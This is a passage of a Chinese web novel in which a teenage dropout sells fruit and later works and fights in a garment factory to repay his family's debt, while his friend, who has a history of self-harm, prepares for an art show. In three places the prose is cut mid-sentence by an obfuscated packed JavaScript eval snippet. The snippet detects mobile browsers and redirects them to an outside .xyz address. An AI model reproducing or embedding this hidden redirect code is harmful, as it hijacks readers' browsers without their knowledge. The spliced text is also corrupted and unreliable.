混乱中陈向然回头，是申恺窜出来拦住了那两个城管，假装被他们撞倒在地，而后大声唾骂。于是一个城管被他拖住裤管留下处理“民事”，另一个挤过重重人群，朝这边追来。 “快。”陈向然用尽全部力气，可他们负重奔跑，哪跑得过轻装上阵的人。 下一秒，一个黑影吞噬半边天光，推车边缘多出了一双手。陈向然一抬头——何晋不知从哪个方向冒出来，什么话也没说，扯住推车边缘，拉着就跑。 紧接着，张亿他们也从街里、巷里、餐馆杂货店里，一个接一个地冒出来，从四面八方赶来伸手。喊着“生哥！”、“快点走！”、“快点！”，将车推过人潮拥挤的小街，转向无人的巷子。 陈向然望向齐怀生——残阳余光模糊了他的脸。陈向然记得他是会笑的，当朋友热烈簇拥在他身边的时候。但这时大约是太重了，他的灵魂过于沉重，连嘴角也是沉的。 落叶飘过，居民区的另一头安宁静好。 一群少年在巷子里累作一团。墙根下、垃圾桶旁，横七竖八倒作一团，气喘吁吁。推车靠在一旁，几颗柑橘滚到了地上。 陈向然在角落里审视他们，个个整齐穿上了石中校服，扣好两颗扣子，戴了校章。他们没有劝说，没有指责，还像以往一样立正说：“生哥，我们今天也在等你。” 何晋垫后，灰头土脸地赶来会合，在十步开外整理好衣服，才走上前来。 他从口袋里拿出一张纸条，看了一眼，咳嗽两声道：“生哥，弟兄们已经回归了人生的大部队。生哥这次外派期限较长，但我们会一直等你。” 全体跟商量好了似的，齐刷刷地鼓掌。 齐怀生的目光游过每一个人的脸，从何晋，到张亿，最后落在陈向然身上。 “别等我。”他说。 掌声戛然而止。 夕晖自街道尽头蔓延而来，爬上少年的肩。用极深的、炫目的颜色，粗糙地粉饰他们的仓皇和羸弱。 “总有人青云直上，也有人穷途末路。”齐怀生“啪嚓”点亮一根烟，“都他妈是人生。” 60. 厂工 齐怀生一句话堵了兄弟们的嘴，一个个面面相觑。何晋反倒笑了，像是很了解他一般。“那，兄弟就等你青云直上吧。”他说，“会有那天的。” 齐怀生面无表情，发鬓和漫天金叶一同在风里飘扬。他没有回话，也没有躲避大家的目光。 “那，我们走了。”何晋说，“回家复习了。” 何晋像是成为他们新晋的主心骨，一扬手，所有人跟着离开，不时回头向齐怀生道别。 都走了，投入巷外金红色的光亮。陈向然还在原地，望着那些背影。 齐怀生弹他一个脑瓜崩：“发什么呆？还不回去？” “帮你卖完。”陈向然抓起车把，“走吧。” “为什么帮我？” 陈向然凝视他片刻，放下推车，拍拍身上蹭的灰：“你也帮了我，在我最难过的时候。” 在他好像就要看到绝路尽头的时候…… “齐怀生，你说你不是病人，不能理解我们为什么寻死，为什么伤害自己。我也一样，我从未遭遇这样困顿的境地，不知道你为什么不坚持高考。人跟人真的很难相互理解吧。所以我只能这样帮你，做这样杯水车薪的努力。我还在这，晋哥他们也都在支持你。如果有机会……”陈向然忽而哽住喉头，“请你……信守承诺，不管要多久。” 齐怀生拧紧了拳头，有什么想说的话，就要呼之欲出。 巷外的狂风终于放下了万物。青筋浮现的五指渐渐松开：“我尽量。” 陈向然轻轻地笑，沾灰的手在脸上擦了一道痕迹。齐怀生伸手抹去那道灰：“那你也要答应我，配合治疗。巩固现在的状态。” 陈向然低头，看着自己的手腕。那晚划下的伤痕已经结痂，黑乎乎的，爬虫一般。 原来这样的状态，算是好的状态吗？ 也许吧，也许是药物起了作用，修复了他的大脑，他的激素、细胞、神经网络，都快速活跃起来，脱胎换骨般。每天睡三小时也能精神饱满，已经连续两场考试拔得头筹，仿佛能一直这么保持下去。林岚不厌其烦地表达她的满意和骄傲，也不再质问他画画的事。他几乎要觉得，他和林岚就快要回到以前那般亲密的关系。 孙临潼说他不想要这样驯兽式的奖励，他却不知不觉深陷这样的母子关系。他们分明是血缘最浓、联结最深的人。 此后齐怀生依旧天天到北街摆摊。陈向然得空也会过来帮他拉拉客人。 齐怀生被弄得一头雾水，生拉硬推地要他别待这，否则就要换地方，让他永远找不着。 “石川才多大点地方。你到天涯海角我都能找到你。”陈向然甩开他的手，笑着招来一个客，摘一个红色塑料袋，扯开袋口，给人装着。起初还会碰钉子，现在嘴皮子溜得能把人哄住了，缺点斤两，人家也不介意。 “你现在康复了是吧？顽固得跟石头一样。”齐怀生笑笑，拧开喇叭，用绳子捆在推车下方。 有时累了，就安安静静地坐在推车后，撑一把伞遮去刺眼的阳光，头靠着头，依偎着休息。呼吸缱绻交织在一起。 时间长了，也开始批发牛奶饮料。真正开始挣钱养家，齐怀生发现活着已是十分艰难的事。他无法想象病痛缠身的父亲是如何坚持到今天。 他忙到连去驻唱再挣一份钱的功夫都没有。每天面对顾客对水果质量的挑剔。生一些、老一些的，都会被人挑剩下。一眼望去卖相欠佳，就不会有人再光临。城管、眼红的同行，这些人三不五时地将他逼入绝境。 前不久几个十一二岁的混学生撞歪他的推车，打翻他的货品，说着：我妈说不读书的，就像那人这样没出息。脾气上来，忍无可忍，把那些小子拖来收拾一顿，惹得人家长找上门来说理。他学着父亲的样子怼回去，像个浪荡子或者怨妇一样在大街上与人吵架。 他觉得丢人，可不丢人就得丢钱，就不能好好做生意。 某天齐越杰抽着烟，在他摊前站着。 整条街阳光曝晒，露天摊贩、锅炉边的人大汗淋漓，一边干活一边用发黄的白毛巾抹去汗水。齐怀生完全暴露在阳光下，脖子上布满了汗珠。 “叶知最近精神不错，在争取转文科班。”齐越杰以这个话题起头，“有点反常。但可能，你们都长大了。对吧，齐怀生？” 齐怀生听出调侃的意味，不接他的话。 他的确，很久很久没有碰过音乐了。 “朋友都知道了？”齐越杰含着烟雾，唇边的小胡子一颤一颤。 “嗯。”齐怀生伸长了手，把推车上的东西收拾摆正，“瞒不住。” “我的错。”齐越杰抽了一口，“实在没法供你上石中了，只能先委屈你。等我安定了，你就到江洲去，别一个人待石川。小地方，没出路。” “不是你的错。”齐怀生说，“我做好心理准备了，如果找不到新学校，就这样吧。” 齐怀生想起叶知生日那天晚上，齐越杰给他来了电话。 那天散会后，叶近成留下齐越杰，向他要债。这个老狐狸默许了姨妈从他银行卡里提出十多万出借姑姑，却逮着家里最有钱的齐越杰，要他尽快还清。越拖，利息越高。齐越杰掏出了所有家当，也只能还上一部分。这下即便勒紧裤腰带，也供不起一个涨价的学校。 他早该想到，什么十多万说借就借的姑姑的老朋友，压根不存在。 “这样好吗？”齐越杰忽然说。 “嗯。”齐怀生坐在凳上，脖子上撂着发灰的白毛巾，“反正这段时间，不回去读了。” “不是读不读。”齐越杰微一叹气，“跟你朋友说清楚，不然人家天天来替你做生意，图啥？不就希望你赶紧复学。” “会说清的，只是我担心……”齐怀生垂下眼帘，汗水沿着眉线绕到眼角，落进眼里。他想到彼时在医院里，陈向然不惜向同学借钱，也要帮助他。陈向然是海中的骄子，心怀理想，他该向上，不该止步江洲美院这样的学校，更不该在青春年少时独自背负债务。 他无数次想过和陈向然永远在一起，不是兄弟、朋友，而是像普通夫妇那般，家人一样的存在。炽烈的情愫灼烧他的心脏，可他只能把这份不可为人知秘密，永远藏起来。 “齐越杰，攒学费，都不是问题。但是……”他顿了顿，“找个学校，很容易么？我没有毕业证，哪个学校肯拿我当复读生？到时没有学校肯收，那么我还在这，他们都是要考出去的。”他望着万里无云的湛蓝的天空，视线对上刺目的光线，深吸一口气，“别为我停留，就是我们最好的关系了。” “行。但就算你留这，也别做这小本生意。”齐越杰审视着他，“你就不是做生意的料，那么点门道都瞧不出。” 齐怀生缓缓看向他：“什么门道？” “啧。”齐越杰叹出一口白雾，“咱没钱，买不起品牌。也没什么人脉，在这块做生意没有庇护。总有一天，这些东西都给你收了去。” “总得做点生意。”齐怀生撩起衣摆，用衣服抹去脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301979|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的汗，“真到不行的那天再说吧。” 齐越杰嗔怪地瞟他一眼：“我爸有认识的人，在县里开服装厂，正好缺人看机床，不如去打份工？” 齐怀生被烈日晒懵了，发梢坠着汗珠，茫然地看向他。 巨大的车间回响着机器轰鸣。 地板刷了不均匀的绿色油漆。每张机床边都堆放五颜六色的衣服和裤子，工人们在岗位上借机器“突突突”缝钉衣服。有的在做质检，把破损的、缝歪的、崩线头的挑出来，放到废弃的分类。 空气里飘着一股机油味，和地板的油漆味。 齐怀生加入某个机床组，负责看管几台机床，检验零件、对刀、调整夹具，厂活大都如此，需要注意力高度集中，但也不是每时每刻都有事情做。 齐越杰在和老板寒暄，手里提着一个金色纹路的大红礼盒。大概是烟酒一类东西，看上去不便宜。齐越杰挂着和平时不一样的大笑脸，直往老板手里塞，俩人推来挡去的，老板不出意外地收下了。 “我弟就拜托你照顾了。”齐越杰紧紧握住老板黢黑的手，拍着他的肩膀，“高中刚毕业，性子倔，多包涵。” “年轻人嘛，要倔，要敢，才有出路嘚。老齐以前关照过我，照顾一下应该。” “行，那我先走了啊。拜托你了。” 齐怀生坐在机床前，透过机器零件的缝隙瞄一眼。齐越杰走了，老板也提着东西回到墙边的休息处。他叼了根烟，坐在板凳上，三下五除二撕开礼袋，丢到一边。里面的礼盒很旧，一看便不是原装。齐怀生早猜到了，齐越杰近来手头紧，哪来的钱买高档的酒。那里面一瓶泸州老窖，两瓶珠江零度，和几包中华。老板起身把珠江零度扔进垃圾桶，点了一根中华，晃着手上提的老窖，离开了车间。 齐怀生眉心微蹙，低下头，开始检查零件。 “哟，这不生哥嘛？” “谁？” 同组看机床的几个人凑上来，齐怀生并不记得他们的脸。 “不认识啦？那天在酒吧……嗯？明白了？” 说到酒吧，他知道是那红毛的兄弟。冤家路窄，打个工都能被找上茬。 “不明白。”他一眼没看他们，专注手头的工作。齐越杰让他好好做，做不好会被开。他不想把注意力分到别处。 他把合格的、不合格的、在老化边缘的零件分成三堆，一个一个挑拣，已经拣出了一部分。 他没反应，这些人自觉挑衅失败，心里憋了一股气。互相看了一眼，“哗啦”一下把他分拣好的零件都撒在地上。 零件飞撒的声音太大，车间里说话声戛然而止。细小的零部件骨碌碌躺进角落，只剩下机器“咔嚓”、“咔嚓”的声音。 “怎么回事？”组长从别处过来，手上戴了布手套，捏了捏帽檐，“怎么撒了？” “啊没什么。”那个额头带缕黄的说，“新来的，手脚不利索。” 齐怀生腾地站起来，揪住那黄毛的衣领。 “干什么呢！”组长高声喝骂，“这里是工作场地！新来的无论如何，好好听前辈的。” “就这货撒的，还是故意的。”齐怀生直接把他摁地上，“您说，要怎么处置他？” “你是新来的，可能不懂一些规矩。”组长撩起袖子，“有什么问题，新人要多承担，等又有新的人来了，你就轻松些了。” 齐怀生安静地看了会组长，转头看向黄毛惶恐的面容。 下一秒一拳挥了出去。 61. 悖论 陈向然偶尔会去看看阿送，特别是周末大赦天下的时候。 有时路过齐怀生的杂货摊，会远远望上几眼。张依萌那几人杵在摊前，东西买好了，也不离开，巧笑嫣然同齐怀生搭讪。齐怀生购置了一把四方棚伞，汗涔涔地坐伞下，靠着铁柄歇息。毛巾几乎被汗水濡湿，再没有精力应付这些青春无忧的少女。 陈向然咬了许久的嘴唇，终于没忍住，上前挤开那帮人：“让一让让一让。” “这不陈向然嘛。”张依萌极不愉快地觑他一眼，“叶知没和你一道啊。” 陈向然权当没听见：“老板，给我秤两个橘子。” 齐怀生心领神会地笑笑，特意挑了俩新鲜、个大的，装上塑料袋，往台秤上一放。 有客驻足，问新不新鲜，有没有上过蜡，是不是催熟的。陈向然就给做个广告，说这家常来买的，果甜，环保。 有时到齐怀生家里，天都黑了，还不见他回家。阿送这只可怜的猫咪，大约是长期受到主人的冷漠对待，见到陈向然仿佛见到救世主，扒拉四只短腿玩命冲来，“喵呜”一声跃进他怀里，盘起毛绒的大尾巴。 陈向然打开灯，日光灯管不知什么时候又摘下来了，亮起的是头顶的吊灯。齐怀生这间屋子方位不好，巷风肆虐，昏暗冷清。 “是不是很寂寞啊？”陈向然摸摸它的毛发，坐地板上，靠着红木椅，“他够坏的，总是把人丢下，对吧？” “喵！”阿送发出声讨的叫声。随即跳到地上，直奔它的窝巢，爪子搭着食盆。陈向然走近了，发现里面只剩一些发潮的猫粮碎块。齐怀生真是没时间照料它了，即便叶知总是定时在网上订购猫粮送到这儿来。 大门钥匙孔一声响，齐怀生推门进家。扶着鞋柜，似乎抹了一下下巴，低低地骂了声“操”。周身盘绕低气压，如憋作灰团的积雨云。 他总是很自信地做着决定，从决定上石中，或是不愿向看不惯的人借救急钱开始，陈向然就知道他一腔都是胆，想清楚了，就敢乱来，敢赌。 时间长了，那种无措、劳累，以及脱轨同龄人的焦虑渐渐掩盖不住了。甚至恍然间，好像能看到齐卫平的影子，渐渐爬到了他身上。他说过齐卫平曾是以戏为痴的白面小生，而如今黝黑、暴躁，成为了渔民——因为选择成为父亲。 陈向然到底是外人，难以想象老一辈年轻时张扬的模样。只有齐怀生见证过，他的父亲是如何褪去年少的情怀，而她的母亲又如何选择了以死相守。 他只看着齐怀生嘀嘀咕咕从玄关走来，低头含肩的，身上很脏。 他匆匆跑去迎接：“你还好吗？” “……”齐怀生咒骂的嘀咕戛然而止，扭头看见他，霎时换了副脸色，“你来啦。去洗澡吧，睡衣自己拿。” “你脸上是血吗？”他追问道。 齐怀生的背影颤了一颤，须臾之后，转过身来，面带笑意：“不是，油漆罢了。” “哪来的油漆？” “伞上的，没干。”说着他进了洗手间，哗哗的水声传来，“叶知最近怎样？” “还在争取转班。” “跟我姨父关系怎样？” “叶叔叔好像不让她转班，应该是吵上了。” “……这样。” 水声频率仿佛忧心地起伏着，陈向然从他声音里莫名听出一丝愧疚。 “你呢？要怎样才能复学？”陈向然尾巴一样跟在他身后，跟进厨房，又跟进房间，小心翼翼地劝谏，“你总不能一直这样的。这样……帮不了你的家人。” 陈向然很自然、又很莫名地想到申恺那帮人。 对他们来讲“不上学”好像是一件平常的事，因为钱，或是自认没天赋。但陈向然看来，没有人不上学。即便休学——比如班里几个抑郁症、腰椎病休学的人，总有一天也要回学校的。 何况他有天赋，有学习的天赋，音乐的天赋。 “陈向然……”齐怀生拉上窗帘，没拉紧，缝里钻了几缕醉人的月光，羽纱般轻盈地飘进屋来，模糊了窗帘灰影的边缘。 陈向然期待他的回答。 但齐怀生只是一动不动地凝视他，暗色的眼睛被月光映作苍蓝，流转着，有些凄冷，好像有很多话呼之欲出。而后似是皱了皱眉，视线下垂——这一瞬间他眼里的光被暗影淹没。 “没什么。” 陈向然笑了：“卖什么关子啊。” “以后吧。”齐怀生揉揉他的头，“先留着，以后有机会，再跟你说。” “神神秘秘的……” “你是不是又早起读书了？”齐怀生扶着他的脸，拇指划过他的下眼睑，“熊猫眼。” “没关系。”陈向然拿开他的手，“我今天还要去见陆老师。” “课这么早吗？” “提前去，有别的事。” 他看了眼手机，时间还算充裕。给阿送倒了猫粮，清洗、布置猫窝。临走时，阿送直不楞登地跟上来，咬着他的裤管拉扯，喉咙里发出咕噜咕噜的声音。 齐怀生一如既往地拎它起来，拍拍屁股，放回窝里，顺带指指点点地威胁：“再出来把你扔锅里。” “喵！”阿送凶猛地蜷进角落。 齐怀生“哼”一声，抛抛钥匙问他：“老地方么？送你去？” 齐怀生送过他许多次了，每回都带了学习资料，在隔壁图书馆借一席之地——盘腿坐地板上刷题。等到艺考课结束，再送他回学校。 但今天他不想他送了。 最近的齐怀生有些不对劲，有“红油漆”，有淤青，抓着他的大手，还能摸到疤痕。 齐怀生打架，但他也避免打架，新伤出现的频率近来有点高了。 “不用了，你累了吧？好好休息。”陈向然挥手出门，在门将关上的时候，露出一个不明所以的微笑，指指他的额头，“红油漆。” 齐怀生还没反应过来，门已“砰”地关上了。 陆引的画室依旧满室飘彩，红绿蓝紫交叠泼洒，那些油彩像是随意又有意的装饰一样，其实是主人从不打扫罢了。 头顶还是那盏吊灯，灯泡老了，没换，氤氲的光晕暖黄舒适。他想起陆引在灯罩里画的蝶——之前没完成，今日一抬头，是完整的化蝶展翅，独立花尖。 于是领会来自师长的心意，暗自笑了一下。 陆引是个话唠，但从进门起他就没有说话，刮刀唰唰摩擦，在画布上完成他的新作。陈向然看他的手法、调色，猜测画成的模样。 粼粼溪流成型、林上日出成型，而后在画中央添上青苔垂藤石板桥、一所小房子，窗明几净，清透可见屋里沙发、火炉。从外面看，墙砖的颜色随朝日光影深深浅浅，瓦片鳞次可数。 “这幅画，您会在画展上售卖吗？”陈向然忽然问。 陆引放下调色盘和刮刀，用湿抹布擦了擦手：“会。还有你的。” “……我的？” “对，你的。” 陆引掀开两幅画，是他和白峥上回在同一空间下画的，一个是绽放的、热烈的，又幽深的、即将在夜色挤压下熄灭的日落；一个是温柔的静谧的，等待黎明的夜船。 “你们俩，丢下谁我都觉得可惜。”陆引摸着下巴，“其实在你复课之前，我已经决定要白峥同学跟我去这趟画展。他的画跟我的画适配度最高，展厅布置起来更协调。” 那日和白峥同场作画，他便猜到白峥会是出展的最佳人选。“那为什么是我？”陈向然问。 “因为白峥同学还不适合参加。”陆引从柜子里拿出他的花蝶画，小心翼翼地展开，“你的画，和我，和白峥同学风格迥异。我很想知道，你的画在收藏家眼里有多少估值。哈，你们热爱艺术的年轻人可能觉得俗，但这是我觉得，成为一个画家最有意思的地方。” “您更想做一个鉴定家？” “不，我就想做个画家，并且当一位美术老师，就像现在这样。” “所以您走美术的路，不是出于热爱，只是因为恰好有了一份可以糊口的工作？”他倏然想起简仲，儿时的美术老师。前不久他经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301980|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过其家门口，仍见他从那间窄小、昏暗、腐朽的小屋里走出来，送走两个抱着画具的小孩。转身的一刻笑容敛去，平静地回屋，独自关上门。那是他平常的生活里再平常不过的一天。 “也不是，我非常爱艺术。艺术给了我更加宽旷的视界，同时也让我觉得，世界就那么小。因为无论我走到哪里，那里都不缺热爱艺术的年轻人，对吧？”陆引矮墩墩的，搓搓那双肉乎乎的厚实的手，眯着双笑眼看他，“你为什么喜欢艺术呀，陈向然同学？” 陆引曾经与他聊过很多。 比如他的画，他未来的规划，艺术圈的一些事儿，还有陆引家里的事——尤其是炫娃。但这是他第一次问陈向然，为什么喜欢画画。 画画对他来说意味着什么，陆引大约想问的是这个。 他只是不知从什么时候起被止不住的幻听、幻想所困扰，为了学会与之共存。让画笔替他宣泄、表达一切。 他走到自己的那幅日落画前，轻轻抚摸凹凸不平的油彩画面，一手拿起刮刀。正是这种感觉，像游侠纵马，飞鹰乘风，他描摹自由，在描摹中得到自由。 “我教美术很多年了，”陆引背着手，在他身后踱步，“带过孩子，带过大学生，带过高考美术生，而在教美术之前，也就是我高考结束那年，我去街上卖过我的画。” 陈向然垂下刮刀，好奇地看向陆引。他的老师还藏了什么有趣的故事。 “在清华校门口摆地摊，陈列我的画，挂出价格。但是并没有人注意到我。后来我决定搞些吸引人眼球的活儿，扮过盲人、老人，跳过舞，最后钱是‘赚’到了，画是一张都没卖出去。那是我第一次出售画作，路过的顾客倒贴钱都没有带走我的画。”陆引自己开心地笑了，“你知道这几幅画后来卖多少钱嘛？因为画廊老板在展会上介绍我是英年早逝的艺术家，卖了这个数。” 他比了个二，陈向然知道是二十多万。第一节课陆引就介绍过的，《乌龟》这幅画。 “还得懂画的人买。办画展不就为了找到这些人吗？”陈向然说，“您就是因为这个，对估值感兴趣？” 陆引拉过一张椅子，和他一同面对面对着《日落》：“我不知道该不该懂画的人买，我只知道得需要画的人买。看过《阿基里斯与龟》这部电影吗？主角寿先生从小痴迷艺术，长大却渐渐为了证明自己、证明艺术——去按照画廊老板的要求创作，想卖出去，卖多点儿钱。他以为自己在热爱，其实活在别人的标准里，永远创作不出让他满意的东西。就像阿基里斯永远追不上乌龟。因为你会发现，表达真意与别人满意，那是两回事。” “我见过的学生有很多种，文化课不行来学艺术的，艺术有点天赋想得到掌声的。但我没有见过任何一个同学，文化成绩好，能抗过家里的压力、训练的辛苦，还有吃处分，仍然想要画画的。所以老师猜，你很执着于什么。执着到一旦失去……” 陆引话到此没有再说下去。陈向然闻言失笑：“我看上去很执着吗？” “你的执着令我觉得惊喜，也害怕。”陆引拍拍胸膛，“陈向然，你近来还好吗？” “很好。” “可老师觉得，你最近的情绪起伏比较大，需要一些休息。”陆引说，“坚持的过程中，也要考虑考虑身体，和精神。” 陈向然放下刮刀，一时觉得陆引在劝他放弃，紧张地直视他：“那画展呢？” “你也开始感兴趣了是吗？”陆引饶有兴味地笑了，像是不急于回答，先喝上一口白水润润嗓，“已经决定让你先参加，别人暂时没机会。一个画展上出现太多学生，你的名声就不具备唯一性，画就会贬值。对了，我看你没有自己的刮刀，这套送你。” 是个昂贵的进口品牌。他抽出最大的一把刮刀，刀铲掠过犀利的金光。 “你有什么旧画都可以拿给我，有合适的价格，我会卖出去。钱我会全部转给你。最后……” 陆引笑起来，脸颊上两堆软肉，显得平近，还有点怜爱：“我只能祝福你实现自己的理想，陈向然。” 62. 冲动 陈向然几乎献出了他画过的所有画作。 交予陆引时，陆引说这些画低于二十万不出售。他其实不需要换成真金白银，只希望陆引从展上归来后，告诉他每幅画得到的出价。 陆引在说起价格和价值时，神态轻松。他不爱评论，从不说阿基里斯该不该追逐乌龟，西西弗斯该不该滚石，在他这毫无意义。他只是饶有兴致地看着，笑着娓娓道来。像做一个有趣的实验，看一台有趣的人间戏。 陆引爱“废话”。而那些“无用”的“废话”，比海中的“最佳教育模式”，更像是陈向然的人生启蒙。 画展提前三个月定了日期，他迫不及待地想告诉齐怀生。打开微信，在列表顶部看到林岚。 熟悉的消息提示小红点，六条消息，但他很久没有点开了，消息也没有再增长。有一瞬间他想点开那个窗口，像小孩子炫耀玩具一样，向林岚炫耀他人生第一次画展。但想法只持续了两秒，他就移开拇指，点了齐怀生的对话框。 他摁了语音，说希望齐怀生去看他的画展。发完这条，又犹豫着发了第二条——看完了写个歌呗。 彼时教室无人，他抱着侥幸心理。随着“咻”一声发出语音，耳边忽然响起一个严肃的声音：“陈向然。” 第一次明目张胆用手机，霎时心凉。他扭头，一双三色眼镜框，是白峥。 这人不知不觉也沾了点“艺术家”气质，和刘永凡一样，浑身散发着某种把洗澡的时间用于学习的气息，俗称“知识的味道”。 他俯下身，小声说：“哎，陆老师给你开小灶的时候，都会跟你讲什么啊？” 问得太突然，陈向然一时没理解：“什么小灶？” 白峥扶扶眼镜，似乎在理解他的意思：“没事儿的，没什么不能说。我哥也被陆老师开过小灶，能被他承认的弟子才有的待遇。”白峥靠近来耳语，“培训班大家都知道，陆老师每次都叫你去里屋，这次还排你出展，都说你是不是和老师有关系，行过礼。”陈向然当然明白行礼的意思，“我当时就告诉他们，你本就画得很好，文化课也好。就是……能不能和陆老师说一声，小灶加我一个。还有严老师的补习，帮我……” 他说了很多请求的话，陈向然都没有认真听。极不耐烦地抠着太阳穴，腾一下站起来：“说完了吗？” 白峥懵了。 “第一，陆老师没有给我开小灶。第二，我不再补习了。” “你这人……”白峥像是很无奈，嘀嘀咕咕，“就不懂你这种。挺优秀，还整天逃学背处分。” 陈向然脸一沉：“你说什么？” 白峥一愣，迅速反应过来：“呃，我不会出卖你的。我真的就是找你帮忙，跟陆老师说两句好话。” 显然，白峥在说他长期翻墙出校的事。可是他怎么会知道…… 门口掠过一个人影，从后门走到前门，小猕猴一样，蹦跳着挥手：“走啦老白，再不走食堂就剩汤水了。” “哎。”他答应了程希，又对陈向然说：“我下次再来找你。” 陈向然依旧杵在原地，看着白峥跑到程希身边。两人勾着肩，有说有笑地离开了。 说起来，他好像很久很久没有和程希结伴生活了。同住一个屋檐下，同去一个培训班，可除此之外，貌似都不晓得对方在哪了。 他坐下，遮掩着看手机，齐怀生回了消息：恭喜你，正式踏上理想道路。 附加一个转圈圈的猩猩表情包。 陈向然打字：今天在哪摆摊呢？我去找你。 齐怀生：“知道服装厂吗？就在废铁厂那附近，你顺着找就找到了。” “我有话和你说。” 他去了服装厂，就在门口等着。 十二月底冷雨浇心，他躲到街边，大风还是将雨扫进檐下。他浑身濡湿了，蹲在散着泥土气味的杂草堆里，倔强地在厂子门口等人。 直到夜色终于压过黄昏，头顶忽地出现一把黑伞，和一句嗔怪的“喂”。 他站起来，看着齐怀生，头发“嘀嗒”落着水滴。齐怀生皱着眉拉他进厂房，展开一张纸巾，捂住他头顶，怜爱一般给他揉擦脑袋。 “带个伞很重么？”齐怀生斥责他。 “你在……打工吗？”陈向然环视这个环境，这是厂子的一部分，一个服装车间。工人们不停地按照规格，重复同样的流水线工作。汗味弥散在这个巨大的空间里。陈向然对此起彼伏的机器噪音烦躁不已，但这些工人早就习以为常。 擦头的手顿停，齐怀生取下纸巾，换了一张，替他擦脸：“嗯，我在打工。” “这就是你要告诉我的？”他抹去鼻子上的雨水，闷闷地说着，“那为什么要打工……” 他说到这哽咽了一下，没再说下去。他知道齐怀生是彻底辍学了。 齐怀生沉默着，想继续帮他擦，被他躲开了。 他叹了口气，终究是不忍直说：“也算是休学，等过了这段时间，我会去别的学校读。” “这段时间是多长时间？” “跟我姑、我哥一起，把债还上。还有……找到新的，便宜点的学校。” 陈向然猛然瞪他：“那是十八万，齐怀生。”他目光直勾勾的，“不是几万，也不是几千。” 他是喊出来的，但厂房车间噪声太大，他的声音依然被淹没了。 “我知道。”齐怀生垂着眼看他，“我只是觉得我需要向你坦白。” “那你就坦白到底吧。”陈向然逼近他，“借十八万的人叫什么？在哪里？联系方式……” “陈向然，你在同情我吗？”齐怀生眯起眼睛，“钱的事，不可能让你负担。” 提起钱，他就急着逃开，不给出任何机会。 “等一下。”陈向然叫住了他，“你还……” 你还……记得之前的你吗？ 被砸了吉他，被父亲打断腿，活像被拔去獠牙的雄狮。因为你那时还爱着，爱漂洋过海的布衫少年歌唱的旋律，仿佛这一切都不可或缺。 偌大车间里，流水线工人汗如雨下，一只手用衣服擦拭脸上的汗水，另一只手并没有停止干活。布料把他们的手磨出茧子。他们皮肤粗糙，有白色的工伤疤，或黑色的斑点。齐怀生也是他们当中的一员。藏污纳垢的民间现实，他忽然不好意思说出口。 不敢说出“还有你的音乐呢，该怎么办”这样的话。 “还什么？”齐怀生问。 “还……”他攥紧了拳头，隐隐颤抖，片刻后，又轻轻松开，“还会回去读书，是吗？” “会的，不骗你。”齐怀生说，“人生不是赛跑，慢点也没关系的，对吧，陈向然？至少我不怕。” 他扭头进了车间。 里面不让外人进，陈向然便躲在屏风后，看着齐怀生默默点了根烟，又拿了一根，熟练地塞在一个像是头儿的人手里，人情世故恰到好处地拿捏。而后站在桌边挑零件。 齐怀生个儿高，不得不弯下肩背，像是挑了个满载的扁担。陈向然无数次想，如果能替他分担一点，哪怕一点……可他连借钱给齐家的人是谁、叫什么，都不知道。 他转身悄悄离开工厂。 刚走出一段距离，只听身后崩出吵架声，而后重重一声“砰”，像是砸倒了什么东西。他匆忙返回，见齐怀生周围围了一圈人，墙根下还躺着两个哀嚎的人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301981|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哎哎，还牛逼了是不？” “草……”齐怀生活动活动手腕，“你们的工，凭什么我做？” “凭你是新来的菜鸟，就这规矩，爱干干不干滚。” “替你们顶罪就算了，干点苦活也就算了。”齐怀生缓缓拧起拳头，“活都我干，你们干什么？嗯？” “我们不得看着你——” 齐怀生不等人说完，左边挥一拳头，把人打出鼻血，右边一肘子捅上人肚子，上来拉他的都被他一记后踢撂在地上。 车间打架也不是第一次了，可这回机械声倏然减弱，附近的缝纫工人都停了下来，朝这边睨看，窃窃私语。 有个满含威慑的人走进了车间。 “叫我干什么？发生什么了？” 从那些窃语中，陈向然听到有人称他老板。老板都来了，必然有人告小状。 周围死寂。齐怀生望向老板，手背想抹去脸上的脏污，却蹭了更多血上去。 陈向然想起他说的红油漆，才明白齐怀生都在经历些什么。霎时间，脑子里有根弦骤然紧绷，就快要崩断。 团团黑色的蠕物在心里生长。 “老板，您可来了。哎，这新来的是头倔驴，不听组长使唤。” “我凭什么听？”齐怀生说。 “行了行了。”老板拧紧了眉，拧到眉心突出，低头踱步，像是考虑着什么，“齐怀生啊齐怀生……” 所有人仍旧沉默，机器有节奏地发出铿锵的声音。一车间人，做粘衬的、锁眼的、缝纫的，手上利索地忙碌，视线却时不时朝这瞥。 像是过了一个世纪之久，老板叹了口气，朝齐怀生一扬手：“回去吧？” 